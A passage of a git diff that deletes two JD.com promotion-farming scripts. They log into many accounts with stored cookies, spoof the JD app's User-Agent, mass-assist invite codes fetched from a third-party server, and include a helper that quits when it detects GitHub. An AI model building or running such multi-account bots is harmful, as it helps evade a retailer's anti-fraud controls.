t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/activity/jd_newYearMoney.js b/activity/jd_newYearMoney.js deleted file mode 100644 index b7eb379..0000000 --- a/activity/jd_newYearMoney.js +++ /dev/null @@ -1,565 +0,0 @@ -/* -京东压岁钱 -助力码会一直变,不影响助力 -活动时间:2021-2-1至2021-2-11 -活动入口:京东APP我的-压岁钱 -活动地址:https://unearth.m.jd.com/babelDiy/Zeus/22uHDsyHntidZV9tpwov2hrUUvmb/index.html -已支持IOS双京东账号,Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -============Quantumultx=============== -[task_local] -#京东压岁钱 -20 8,12 * * * jd_newYearMoney.js, tag=京东压岁钱, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true - -================Loon============== -[Script] -cron "20 8,12 * * *" script-path=jd_newYearMoney.js, tag=京东压岁钱 - -===============Surge================= -京东压岁钱 = type=cron,cronexp="20 8,12 * * *",wake-system=1,timeout=3600,script-path=jd_newYearMoney.js - -============小火箭========= -京东压岁钱 = type=cron,script-path=jd_newYearMoney.js, cronexpr="20 8,12 * * *", timeout=3600, enable=true - */ - -const $ = new Env('京东压岁钱'); - -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 -const randomCount = $.isNode() ? 20 : 5; - -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message, sendAccount = [], receiveAccount = [], receiveCardList = []; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { - }; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -const JD_API_HOST = 'https://api.m.jd.com/client.action'; -const inviteCodes = [ - `vcZUAJEW6NATdpttV8s8s2aZ4u1sc6Q-bWfi11uhlAKAbA`, - `vcZUAJEW6NATdpttV8s8s2aZ4u1sc6Q-bWfi11uhlAKAbA`, -]; -!(async () => { - await requireConfig(); - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await shareCodesFormat(); - await jdNian() - await showMsg() - } - } - if(receiveAccount.length) - console.log(`开始领卡`) - for (let idx of receiveAccount) { - if (cookiesArr[parseInt(idx) - 1]) { - console.log(`账号${idx}领取赠卡`) - cookie = cookiesArr[parseInt(idx) - 1]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = parseInt(idx); - $.isLogin = true; - $.nickName = ''; - message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await receiveCards() - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -async function jdNian() { - try { - $.risk = false - $.red = 0 - $.total = 0 - await getHomeData() - await $.wait(2000) - if ($.risk) return - await getHomeData(true) - await helpFriends() - } catch (e) { - $.logErr(e) - } -} - -async function receiveCards() { - for (let token of receiveCardList) { - await receiveCard(token) - } -} - -function showMsg() { - return new Promise(resolve => { - if (!$.risk) message += `本次运行获得${Math.round($.red * 100) / 100}红包,共计红包${$.total}` - if (!jdNotify) { - $.msg($.name, '', `${message}`); - } else { - $.log(`京东账号${$.index}${$.nickName}\n${message}`); - } - resolve() - }) -} - -async function helpFriends() { - $.canHelp = true - for (let code of $.newShareCodes) { - if (!code) continue - await helpFriend(code) - if (!$.canHelp) return - await $.wait(4000) - } -} - -function getHomeData(info = false) { - return new Promise((resolve) => { - $.post(taskPostUrl('newyearmoney_home'), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data && data.data['bizCode'] === 0) { - const {inviteId, poolMoney} = data.data.result.userActBaseInfo - $.cardList = data.data.result.cardInfos - if (info) { - $.total = poolMoney - if (sendAccount.includes($.index.toString())) { - let cardList = $.cardList.filter(vo => vo.cardType !== 7) - if (cardList.length) { - console.log(`送出当前账号第一张卡(每天只能领取一个好友送的一张卡)`) - await sendCard(cardList[0].cardNo) - } - } - return - } - console.log(`您的好友助力码为:${inviteId}`) - await $.wait(2000) - for (let i = 1; i <= 6; ++i) { - let cards = data.data.result.cardInfos.filter(vo => vo.cardType === i) - for (let j = 0; j < cards.length; j += 2) { - if (j + 1 < cards.length) { - let cardA = cards[j], cardB = cards[j + 1] - console.log(`去合并${i}级卡片`) - await consumeCard(`${cardA.cardNo},${cardB.cardNo}`) - await $.wait(2000) - } - } - } - } else { - $.risk = true - console.log(`账号被风控,无法参与活动`) - message += `账号被风控,无法参与活动\n` - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} - -function lotteryHundredCard() { - return new Promise((resolve) => { - $.post(taskPostUrl('newyearmoney_lotteryHundredCard'), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data && data.data['bizCode'] === 0) { - console.log(JSON.stringify(data)) - } else { - console.log(data.data.bizMsg) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} - -function showHundredCardInfo(cardNo) { - return new Promise((resolve) => { - $.post(taskPostUrl('newyearmoney_showHundredCardInfo', {cardNo: cardNo}), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - console.log(data) - if (data && data.data['bizCode'] === 0) { - console.log(JSON.stringify(data)) - } else { - console.log(data.data.bizMsg) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} - -function receiveHundredCard(cardNo) { - return new Promise((resolve) => { - $.post(taskPostUrl('newyearmoney_receiveHundredCard', {cardNo: cardNo}), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - console.log(data) - if (data && data.data['bizCode'] === 0) { - console.log(JSON.stringify(data)) - } else { - console.log(data.data.bizMsg) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} - -function consumeCard(cardNo) { - return new Promise((resolve) => { - setTimeout(() => { - $.post(taskPostUrl('newyearmoney_consumeCard',{"cardNo":cardNo}), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data && data.data['bizCode'] === 0) { - $.red += parseFloat(data.data.result.currentTimeMoney) - console.log(`合成成功,获得${data.data.result.currentTimeMoney}红包`) - } else { - $.risk = true - console.log(`账号被风控,无法参与活动`) - message += `账号被风控,无法参与活动\n` - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }, 1000) - }) -} - -function helpFriend(inviteId) { - return new Promise((resolve) => { - $.post(taskPostUrl('newyearmoney_assist', {inviteId: inviteId}), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data && data.data['bizCode'] === 0) { - console.log(data.data.result.msg) - } else { - console.log(`helpFriends ${data.data.bizMsg}`) - if (data.data.bizCode === -523) { - $.canHelp = false - } - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} - -function readShareCode() { - console.log(`开始`) - return new Promise(async resolve => { - $.get({ - url: `https://code.chiang.fun/api/v1/jd/year/read/${randomCount}/`, - 'timeout': 10000 - }, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) - data = JSON.parse(data); - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - await $.wait(2000); - resolve() - }) -} -function sendCard(cardNo) { - return new Promise((resolve) => { - $.post(taskPostUrl('newyearmoney_sendCard', {"cardNo": cardNo}), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data && data.data['bizCode'] === 0) { - receiveCardList.push(data.data.result.token) - console.log(`送卡成功`) - } else { - console.log(`送卡失败,${data.data.bizMsg}`) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} - -function receiveCard(token) { - return new Promise((resolve) => { - $.post(taskPostUrl('newyearmoney_receiveCard', {"token": token}), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data && data.data['bizCode'] === 0) { - console.log(`领卡成功`) - } else { - console.log(`领卡失败,${data.data.bizMsg}`) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} - -//格式化助力码 -function shareCodesFormat() { - return new Promise(async resolve => { - // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) - $.newShareCodes = []; - if ($.shareCodesArr[$.index - 1]) { - $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); - } else { - console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) - const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); - $.newShareCodes = inviteCodes[tempIndex].split('@'); - } - const readShareCodeRes = await readShareCode(); - if (readShareCodeRes && readShareCodeRes.code === 200) { - $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; - } - console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) - resolve(); - }) -} - -function requireConfig() { - return new Promise(async resolve => { - console.log(`开始获取${$.name}配置文件\n`); - //Node.js用户请在jdCookie.js处填写京东ck; - let shareCodes = [] - console.log(`共${cookiesArr.length}个京东账号\n`); - if ($.isNode() && process.env.JDNY_SHARECODES) { - if (process.env.JDNY_SHARECODES.indexOf('\n') > -1) { - shareCodes = process.env.JDNY_SHARECODES.split('\n'); - } else { - shareCodes = process.env.JDNY_SHARECODES.split('&'); - } - } - - if ($.isNode() && process.env.JDNY_SENDACCOUNT) { - if (process.env.JDNY_SENDACCOUNT.indexOf('\n') > -1) { - sendAccount = process.env.JDNY_SENDACCOUNT.split('\n'); - } else { - sendAccount = process.env.JDNY_SENDACCOUNT.split('&'); - } - } - - if (sendAccount.length) - console.log(`将要送出卡片的是账号第${sendAccount.join(',')}号账号`) - - if ($.isNode() && process.env.JDNY_RECEIVEACCOUNT) { - if (process.env.JDNY_RECEIVEACCOUNT.indexOf('\n') > -1) { - receiveAccount = process.env.JDNY_RECEIVEACCOUNT.split('\n'); - } else { - receiveAccount = process.env.JDNY_RECEIVEACCOUNT.split('&'); - } - } - if (receiveAccount.length) - console.log(`将要领取卡片的是账号第${receiveAccount.join(',')}号账号`) - - $.shareCodesArr = []; - if ($.isNode()) { - Object.keys(shareCodes).forEach((item) => { - if (shareCodes[item]) { - $.shareCodesArr.push(shareCodes[item]) - } - }) - } - console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); - resolve() - }) -} - - -function taskPostUrl(function_id, body = {}, function_id2) { - let url = `${JD_API_HOST}`; - return { - url, - body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0`, - headers: { - "Cookie": cookie, - "origin": "https://h5.m.jd.com", - "referer": "https://h5.m.jd.com/", - 'Content-Type': 'application/x-www-form-urlencoded', - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } -} - - -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_newYearMoney_lottery.js b/activity/jd_newYearMoney_lottery.js deleted file mode 100644 index 3177432..0000000 --- a/activity/jd_newYearMoney_lottery.js +++ /dev/null @@ -1,256 +0,0 @@ -/* -京东压岁钱抢百元卡 -活动时间:2021-2-1至2021-2-10 -活动入口:京东APP我的-压岁钱 -活动地址:https://unearth.m.jd.com/babelDiy/Zeus/22uHDsyHntidZV9tpwov2hrUUvmb/index.html -已支持IOS双京东账号,Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -============Quantumultx=============== -[task_local] -#京东压岁钱抢百元卡 -0 0 9,12,16,20 * * * jd_newYearMoney_lottery.js, tag=京东压岁钱抢百元卡, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true - -================Loon============== -[Script] -cron "0 0 9,12,16,20 * * *" script-path=jd_newYearMoney_lottery.js, tag=京东压岁钱抢百元卡 - -===============Surge================= -京东压岁钱抢百元卡 = type=cron,cronexp="0 0 9,12,16,20 * * *",wake-system=1,timeout=3600,script-path=jd_newYearMoney_lottery.js - -============小火箭========= -京东压岁钱抢百元卡 = type=cron,script-path=jd_newYearMoney_lottery.js, cronexpr="0 0 9,12,16,20 * * *", timeout=3600, enable=true - */ - -const $ = new Env('京东压岁钱抢百元卡'); - -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 -const randomCount = $.isNode() ? 20 : 5; - -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -const JD_API_HOST = 'https://api.m.jd.com/client.action'; -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await jdNian() - await showMsg() - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -async function jdNian() { - try { - await lotteryHundredCard() - } catch (e) { - $.logErr(e) - } -} - -function showMsg() { - return new Promise(resolve => { - if (!jdNotify) { - $.msg($.name, '', `${message}`); - } else { - $.log(`京东账号${$.index}${$.nickName}\n${message}`); - } - resolve() - }) -} - -function lotteryHundredCard() { - return new Promise((resolve) => { - $.post(taskPostUrl('newyearmoney_lotteryHundredCard'), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data && data.data['bizCode'] === 0) { - console.log(JSON.stringify(data)) - message += JSON.stringify(data) - } else { - console.log(data.data.bizMsg) - message += data.data.bizMsg - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} -function showHundredCardInfo(cardNo) { - return new Promise((resolve) => { - $.post(taskPostUrl('newyearmoney_showHundredCardInfo',{cardNo:cardNo}), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - console.log(data) - if (data && data.data['bizCode'] === 0) { - console.log(JSON.stringify(data)) - } else { - console.log(data.data.bizMsg) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} -function receiveHundredCard(cardNo) { - return new Promise((resolve) => { - $.post(taskPostUrl('newyearmoney_receiveHundredCard',{cardNo:cardNo}), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} 